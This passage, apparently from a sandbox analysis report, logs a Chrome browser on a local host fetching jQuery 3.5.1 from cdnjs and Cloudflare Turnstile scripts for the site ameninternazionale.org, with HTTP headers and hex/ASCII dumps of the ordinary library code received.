cfL4;desc="?proto=TCP&rtt=1667&min_rtt=1664&rtt_var=631&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=925&delivery_rate=1725768&cwnd=162&unsent_bytes=0&cid=a6a9b2aa9f4e1c0b&ts=459&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.17	49723	104.17.25.14	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:41:28 UTC	599	OUT	GET /ajax/libs/jquery/3.5.1/jquery.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ameninternazionale.org sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ameninternazionale.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:41:29 UTC	959	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:41:29 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb09ed3-15d84" Last-Modified: Mon, 04 May 2020 23:01:39 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 891225 Expires: Sat, 29 Nov 2025 17:41:29 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sEt4XsUG0yJCYcFyI%2F80ZMF8vqpPowniHnsw9Ny7NbswvqLIXmQKacsCRPbER41q%2BnpUuwYZa4QLSNsGxZEYLq2LBFtNZ1j2p0IjHL5ZwEvgTm2f3mInGg4X%2BLDwX5ygMyftSC99"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8ef6c94938848cad-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 17:41:29 UTC	410	IN	Data Raw: 37 62 66 31 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 35 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a Data Ascii: 7bf1/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("j
2024-12-09 17:41:29 UTC	1369	IN	Data Raw: 70 65 4f 66 2c 73 3d 74 2e 73 6c 69 63 65 2c 67 3d 74 2e 66 6c 61 74 3f 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 66 6c 61 74 2e 63 61 6c 6c 28 65 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 63 6f 6e 63 61 74 2e 61 70 70 6c 79 28 5b 5d 2c 65 29 7d 2c 75 3d 74 2e 70 75 73 68 2c 69 3d 74 2e 69 6e 64 65 78 4f 66 2c 6e 3d 7b 7d 2c 6f 3d 6e 2e 74 6f 53 74 72 69 6e 67 2c 76 3d 6e 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 61 3d 76 2e 74 6f 53 74 72 69 6e 67 2c 6c 3d 61 2e 63 61 6c 6c 28 4f 62 6a 65 63 74 29 2c 79 3d 7b 7d 2c 6d 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 22 6e 75 6d 62 65 72 22 21 3d 74 79 70 65 6f 66 20 65 2e 6e Data Ascii: peOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.n
2024-12-09 17:41:29 UTC	1369	IN	Data Raw: 31 29 7d 2c 65 76 65 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 67 72 65 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 28 74 2b 31 29 25 32 7d 29 29 7d 2c 6f 64 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 67 72 65 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 25 32 7d 29 29 7d 2c 65 71 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 6c 65 6e 67 74 68 2c 6e 3d 2b 65 2b 28 65 3c 30 3f 74 3a 30 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 30 3c 3d 6e 26 26 6e 3c 74 3f 5b 74 68 69 73 5b 6e 5d 5d 3a 5b Data Ascii: 1)},even:function(){return this.pushStack(S.grep(this,function(e,t){return(t+1)%2}))},odd:function(){return this.pushStack(S.grep(this,function(e,t){return t%2}))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:[
2024-12-09 17:41:29 UTC	1369	IN	Data Raw: 7d 2c 6d 61 6b 65 41 72 72 61 79 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 74 7c 7c 5b 5d 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 65 26 26 28 70 28 4f 62 6a 65 63 74 28 65 29 29 3f 53 2e 6d 65 72 67 65 28 6e 2c 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 3f 5b 65 5d 3a 65 29 3a 75 2e 63 61 6c 6c 28 6e 2c 65 29 29 2c 6e 7d 2c 69 6e 41 72 72 61 79 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 74 3f 2d 31 3a 69 2e 63 61 6c 6c 28 74 2c 65 2c 6e 29 7d 2c 6d 65 72 67 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 2b 74 2e 6c 65 6e 67 74 68 2c 72 3d 30 2c 69 3d 65 2e 6c 65 6e 67 74 68 3b 72 3c 6e 3b 72 2b 2b 29 65 5b 69 2b 2b 5d 3d 74 5b 72 5d 3b 72 65 74 Data Ascii: },makeArray:function(e,t){var n=t\|\|[];return null!=e&&(p(Object(e))?S.merge(n,"string"==typeof e?[e]:e):u.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:i.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];ret
2024-12-09 17:41:29 UTC	1369	IN	Data Raw: 2a 29 27 7c 5c 22 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 5c 22 5d 29 2a 29 5c 22 7c 28 22 2b 49 2b 22 29 29 7c 29 22 2b 4d 2b 22 2a 5c 5c 5d 22 2c 46 3d 22 3a 28 22 2b 49 2b 22 29 28 3f 3a 5c 5c 28 28 28 27 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 27 5d 29 2a 29 27 7c 5c 22 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 5c 22 5d 29 2a 29 5c 22 29 7c 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 28 29 5b 5c 5c 5d 5d 7c 22 2b 57 2b 22 29 2a 29 7c 2e 2a 29 5c 5c 29 7c 29 22 2c 42 3d 6e 65 77 20 52 65 67 45 78 70 28 4d 2b 22 2b 22 2c 22 67 22 29 2c 24 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 2b 22 2b 7c 28 28 3f 3a 5e 7c 5b 5e 5c 5c 5c 5c 5d 29 28 3f 3a 5c 5c 5c 5c 2e 29 2a 29 22 2b 4d 2b 22 2b 24 22 2c 22 67 22 29 2c 5f 3d 6e 65 Data Ascii: )'\|\"((?:\\\\.\|[^\\\\\"]))\"\|("+I+"))\|)"+M+"\\]",F=":("+I+")(?:\$(('((?:\\\\.\|[^\\\\']))'\|\"((?:\\\\.\|[^\\\\\"]))\")\|((?:\\\\.\|[^\\\\()[\\]]\|"+W+"))\|.)\$\|)",B=new RegExp(M+"+","g"),$=new RegExp("^"+M+"+\|((?:^\|[^\\\\])(?:\\\\.))"+M+"+$","g"),_=ne
2024-12-09 17:41:29 UTC	1369	IN	Data Raw: 54 28 29 7d 2c 61 65 3d 62 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 30 3d 3d 3d 65 2e 64 69 73 61 62 6c 65 64 26 26 22 66 69 65 6c 64 73 65 74 22 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 2c 7b 64 69 72 3a 22 70 61 72 65 6e 74 4e 6f 64 65 22 2c 6e 65 78 74 3a 22 6c 65 67 65 6e 64 22 7d 29 3b 74 72 79 7b 48 2e 61 70 70 6c 79 28 74 3d 4f 2e 63 61 6c 6c 28 70 2e 63 68 69 6c 64 4e 6f 64 65 73 29 2c 70 2e 63 68 69 6c 64 4e 6f 64 65 73 29 2c 74 5b 70 2e 63 68 69 6c 64 4e 6f 64 65 73 2e 6c 65 6e 67 74 68 5d 2e 6e 6f 64 65 54 79 70 65 7d 63 61 74 63 68 28 65 29 7b 48 3d 7b 61 70 70 6c 79 3a 74 2e 6c 65 6e 67 74 68 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 4c 2e 61 70 70 6c 79 28 65 2c 4f 2e 63 61 Data Ascii: T()},ae=be(function(e){return!0===e.disabled&&"fieldset"===e.nodeName.toLowerCase()},{dir:"parentNode",next:"legend"});try{H.apply(t=O.call(p.childNodes),p.childNodes),t[p.childNodes.length].nodeType}catch(e){H={apply:t.length?function(e,t){L.apply(e,O.ca
2024-12-09 17:41:29 UTC	1369	IN	Data Raw: 75 72 6e 20 72 2e 70 75 73 68 28 74 2b 22 20 22 29 3e 62 2e 63 61 63 68 65 4c 65 6e 67 74 68 26 26 64 65 6c 65 74 65 20 65 5b 72 2e 73 68 69 66 74 28 29 5d 2c 65 5b 74 2b 22 20 22 5d 3d 6e 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 65 28 65 29 7b 72 65 74 75 72 6e 20 65 5b 53 5d 3d 21 30 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 76 61 72 20 74 3d 43 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 66 69 65 6c 64 73 65 74 22 29 3b 74 72 79 7b 72 65 74 75 72 6e 21 21 65 28 74 29 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 66 69 6e 61 6c 6c 79 7b 74 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 29 2c 74 3d 6e 75 6c 6c 7d 7d 66 75 6e 63 74 69 6f 6e 20 66 65 28 65 2c 74 29 Data Ascii: urn r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function le(e){return e[S]=!0,e}function ce(e){var t=C.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function fe(e,t)
2024-12-09 17:41:29 UTC	1369	IN	Data Raw: 3d 43 26 26 39 3d 3d 3d 72 2e 6e 6f 64 65 54 79 70 65 26 26 72 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 26 26 28 61 3d 28 43 3d 72 29 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 45 3d 21 69 28 43 29 2c 70 21 3d 43 26 26 28 6e 3d 43 2e 64 65 66 61 75 6c 74 56 69 65 77 29 26 26 6e 2e 74 6f 70 21 3d 3d 6e 26 26 28 6e 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 6e 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 75 6e 6c 6f 61 64 22 2c 6f 65 2c 21 31 29 3a 6e 2e 61 74 74 61 63 68 45 76 65 6e 74 26 26 6e 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 75 6e 6c 6f 61 64 22 2c 6f 65 29 29 2c 64 2e 73 63 6f 70 65 3d 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 2e Data Ascii: =C&&9===r.nodeType&&r.documentElement&&(a=(C=r).documentElement,E=!i(C),p!=C&&(n=C.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener("unload",oe,!1):n.attachEvent&&n.attachEvent("onunload",oe)),d.scope=ce(function(e){return a.appendChild(e).
2024-12-09 17:41:29 UTC	1369	IN	Data Raw: 22 29 29 26 26 6e 2e 76 61 6c 75 65 3d 3d 3d 65 29 72 65 74 75 72 6e 5b 6f 5d 7d 72 65 74 75 72 6e 5b 5d 7d 7d 29 2c 62 2e 66 69 6e 64 2e 54 41 47 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3f 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 65 29 3a 64 2e 71 73 61 3f 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 65 29 3a 76 6f 69 64 20 30 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 5b 5d 2c 69 3d 30 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 65 29 3b Data Ascii: "))&&n.value===e)return[o]}return[]}}),b.find.TAG=d.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):d.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);
2024-12-09 17:41:29 UTC	1369	IN	Data Raw: 2c 22 68 69 64 64 65 6e 22 29 2c 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d 65 22 2c 22 44 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 6e 61 6d 65 3d 64 5d 22 29 2e 6c 65 6e 67 74 68 26 26 76 2e 70 75 73 68 28 22 6e 61 6d 65 22 2b 4d 2b 22 2a 5b 2a 5e 24 7c 21 7e 5d 3f 3d 22 29 2c 32 21 3d 3d 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 65 6e 61 62 6c 65 64 22 29 2e 6c 65 6e 67 74 68 26 26 76 2e 70 75 73 68 28 22 3a 65 6e 61 62 6c 65 64 22 2c 22 3a 64 69 73 61 62 6c 65 64 22 29 2c 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 2e 64 69 73 61 62 6c 65 64 3d 21 30 2c 32 21 3d 3d 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 64 69 73 61 Data Ascii: ,"hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&v.push("name"+M+"[^$\|!~]?="),2!==e.querySelectorAll(":enabled").length&&v.push(":enabled",":disabled"),a.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.17	49726	104.18.94.41	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:41:28 UTC	567	OUT	GET /turnstile/v0/api.js?compat=recaptcha HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ameninternazionale.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:41:29 UTC	386	IN	HTTP/1.1 302 Found Date: Mon, 09 Dec 2024 17:41:29 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/g/f9063374b04d/api.js Server: cloudflare CF-RAY: 8ef6c9494bf67d20-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.17	49728	104.18.94.41	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:41:30 UTC	565	OUT	GET /turnstile/v0/g/f9063374b04d/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ameninternazionale.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:41:31 UTC	471	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:41:30 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47692 Connection: close accept-ranges: bytes last-modified: Tue, 03 Dec 2024 18:31:41 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8ef6c953d9807c69-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 17:41:31 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2024-12-09 17:41:31 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 53 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2024-12-09 17:41:31 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 6a 74 28 65 29 7c 7c 71 74 28 65 2c 72 29 7c 7c 47 74 28 65 2c 72 29 7c 7c 7a 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return jt(e)\|\|qt(e,r)\|\|Gt(e,r)\|\|zt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0
2024-12-09 17:41:31 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 59 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Yt=300020;var De=300030;var Ve=300031;var j;(fu
2024-12-09 17:41:31 UTC	1369	IN	Data Raw: 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 4a 7c 7c 28 4a 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 Data Ascii: ="never",e.MANUAL="manual",e.AUTO="auto"})(J\|\|(J={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(fu
2024-12-09 17:41:31 UTC	1369	IN	Data Raw: 65 3d 3d 3d 22 61 75 74 6f 22 7c 7c 4e 72 2e 74 65 73 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 6c 77 61 79 73 22 2c 22 65 78 65 63 75 74 65 22 2c 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 51 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 74 72 75 65 22 2c 22 66 61 6c 73 65 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 72 65 6e 64 65 72 22 2c 22 65 78 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 24 74 3d 33 30 30 2c 4a 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 68 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 Data Ascii: e==="auto"\|\|Nr.test(e)}function gt(e){return M(["always","execute","interaction-only"],e)}function Qt(e){return M(["true","false"],e)}function yt(e){return M(["render","execute"],e)}var $t=300,Jt=10;function ht(e){var r=new URLSearchParams;if(e.params._de
